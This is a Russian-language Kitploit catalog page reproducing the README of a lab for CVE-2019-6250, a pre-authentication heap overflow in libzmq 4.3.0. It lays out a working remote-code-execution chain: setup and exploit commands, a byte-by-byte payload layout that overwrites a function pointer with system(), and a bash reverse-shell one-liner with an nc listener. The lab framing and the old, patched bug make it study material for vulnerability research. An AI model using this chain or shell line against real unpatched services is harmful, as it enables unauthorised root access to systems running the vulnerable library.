Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2019-6250-lab — Сквозная лаборатория RCE до аутентификации для CVE-2019-6250 (libzmq <= 4.3.0, протокол ZMTP/2.0) | Kitploit
Инструменты/GitHubGitHub/dinosn/cve-2019-6250-lab
Анализ уязвимостейЭксплуатацияТестирование на ПроникновениеОбучение и ОбразованиеИнструмент Удаленного ДоступаРазработка Полезной НагрузкиЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHubdinosn/cve-2019-6250-lab

cve-2019-6250-lab

Сквозная лаборатория RCE до аутентификации для CVE-2019-6250 (libzmq <= 4.3.0, протокол ZMTP/2.0)

105 месяцев назадЕщё не проверено
Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2019-6250 — лаборатория RCE без аутентификации в libzmq

CVE CVSS Affected License

Сквозная рабочая цепочка RCE + воспроизводимый лабораторный стенд для CVE-2019-6250 — heap-buffer-overflow до аутентификации в v2_decoder_t::size_ready из libzmq. Переполнение при арифметике указателей uint64_t позволяет неаутентифицированному пиру перезаписать соседний указатель на функцию msg_t::content_t::ffn на сетевом пути ZMTP/2.0, а затем запустить его через закрытие TCP-сокета → ~v2_decoder_t() → _in_progress.close() → system(cmd).

Автор: Nicolas Krassas (@dinosn).

Только для лаборатории. В комплект входит намеренно уязвимый libzmq 4.3.0. Не открывайте порт 5555 за пределами лаборатории. Ошибка была исправлена семь лет назад в libzmq 4.3.1 (коммит 1a2ed127).


Демонстрация

Цепочка system() — доказательство через файл

system chain

Обратная оболочка — интерактивный root

reverse shell

Автоматизированный сквозной смоук-тест

smoke test


TL;DR (Docker)

docker build -t cve-2019-6250-lab .
docker run --rm -it --cap-add=SYS_ADMIN --security-opt seccomp=unconfined \
           -p 5555:5555 cve-2019-6250-lab

# inside the container:
/opt/zmq-rce/exploit.py 127.0.0.1 5555
ls -l /tmp/PWNED-CVE-2019-6250        # <-- created by the libzmq server process

TL;DR (на «голом железе» — Debian 12 / Kali 2024.x / Ubuntu 22.04)

sudo ./setup.sh                       # builds libzmq 4.3.0 + target, disables ASLR
sudo ./start_server.sh                # binds tcp://0.0.0.0:5555
./exploit.py 127.0.0.1 5555           # default cmd: touch /tmp/PWNED-CVE-2019-6250
ls -l /tmp/PWNED-CVE-2019-6250

Обратная оболочка

# terminal 1 — listener
nc -lvnp 4444

# terminal 2 — fire the chain
./exploit.py 127.0.0.1 5555 'bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'

Вы должны увидеть что-то вроде:

listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55842
bash: cannot set terminal process group (1355844): Inappropriate ioctl for device
bash: no job control in this shell
root@host:/opt/zmq-rce#

Строка cannot set terminal process group (1355844) подтверждает, что оболочка была порождена целевым процессом libzmq (PID 1355844), а не чем-то, что вы запускали локально.


Структура репозитория

.
├── README.md             # you are here
├── server.c              # tiny PULL listener — the vulnerable target
├── exploit.py            # full RCE chain
├── setup.sh              # bare-metal provisioner (clones + builds libzmq 4.3.0)
├── start_server.sh       # start/restart the target
├── read_addresses.sh     # regenerate the address profile for a different image
├── run_lab_test.sh       # automated end-to-end smoke test (CI-friendly)
├── Dockerfile            # one-command containerised lab
└── screenshots/          # README screenshots (generated with charmbracelet/freeze)

Механика

1. Уязвимость

src/v2_decoder.cpp:117 (libzmq 4.3.0):

shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
              || ((unsigned char *) read_pos_ + msg_size_         //  <-- wraps
                  > (allocator.data () + allocator.size ())))) {
    rc = _in_progress.init_size (static_cast<size_t> (msg_size_));   // safe path
} else {
    rc = _in_progress.init (read_pos_, msg_size_, call_dec_ref,
                            allocator.buffer (), allocator.provide_content ());
    // zero-copy aliasing path — _in_progress.data() == read_pos_
}

msg_size_ — это контролируемый атакующим big-endian uint64_t из заголовка LARGE-фрейма ZMTP/2.0. При msg_size_ = 0xFFFFFFFFFFFFFFFF сумма read_pos_ + msg_size_ переполняется по модулю 2⁶⁴ и оказывается меньше правой части. Проверка границ возвращает false → выполнение попадает в путь zero-copy → сообщение _in_progress алиасит приёмный буфер. Затем декодер запрашивает у ядра ещё 0xFFFFFFFFFFFFFFFF байт по адресу read_pos_, и recv() послушно записывает наш пейлоад за конец приёмного буфера в соседний массив content_t[] (выделенный в том же malloc()-чанке в decoder_allocators.cpp:88).

2. Цепочка

[ atomic_counter_t (refcnt) ]   8 bytes
[ recv buffer ]                 8192 bytes  ← bytes start landing at read_pos_+0
[ content_t [ _max_counters ] ] 249 × 40 = 9960 bytes
                                ↑ content_t[0] starts at read_pos_+8183

Мы отправляем 8224 байта пейлоада следующей структуры:

смещение в пейлоадебайтычто перезаписывается
[0:16]заполнение(в приёмном буфере)
[16:K]строка команды + NUL(в приёмном буфере — аргумент system)
[K:8183]заполнение(в приёмном буфере)
[8183:8191]read_pos+16content_t[0].data (→ команда)
[8191:8199]0content_t[0].size
[8199:8207]&systemcontent_t[0].ffn (цель перехвата управления)
[8207:8215]0content_t[0].hint
[8215:8223]0content_t[0].refcnt

Когда мы закрываем TCP-сокет, ~v2_decoder_t() на сервере вызывает _in_progress.close(). В msg_t::close:

if (!(_u.zclmsg.flags & shared) || !content->refcnt.sub(1)) {
    content->ffn(content->data, content->hint);     //  -> system(cmd)
}

init_external_storage устанавливает _u.zclmsg.flags = 0, поэтому OR-сокращение сразу выбирает эту ветвь — refcnt даже не проверяется. Наш перезаписанный ffn выполняется.

Никакого ROP, шеллкода и утечек информации: только одно разрешение символа libc и одна встроенная строка команды.

3. Путь к v2_decoder_t до аутентификации

Смотрим на stream_engine.cpp:707:

bool zmq::stream_engine_t::handshake_v2_0 ()
{
    if (_session->zap_enabled ()) { error (...); return false; }
    _encoder = new v2_encoder_t (...);
    _decoder = new v2_decoder_t (...);     // <-- NO mechanism object
    return true;
}

Путь ZMTP/2.0 создаёт экземпляр v2_decoder_t без механизма. Только ZAP отклоняет подключения 2.0, а ZAP по умолчанию выключен. Как только пир отправляет 12-байтовое приветствие ZMTP/2.0 (0xff + 8 нулей + 0x7f + версия 0x01 + тип сокета), все последующие байты разбираются через v2_decoder_t. Никакой аутентификации. Никакого рукопожатия. Никакого конечного автомата механизма.


Подтверждение ASAN

Опционально: соберите с -fsanitize=address и посмотрите отчёт о heap-buffer-overflow:

asan report

Сообщение 0 bytes after 18160-byte region подтверждает вычисленный размер чанка: 8 (atomic_counter) + 8192 (recv buffer) + 249 × 40 (массив content_t) = 18160. Место выделения в handshake_v2_0:719 подтверждает, что ошибка срабатывает на пути ZMTP/2.0 до аутентификации.


Почему адреса захардкожены

Скачать инструмент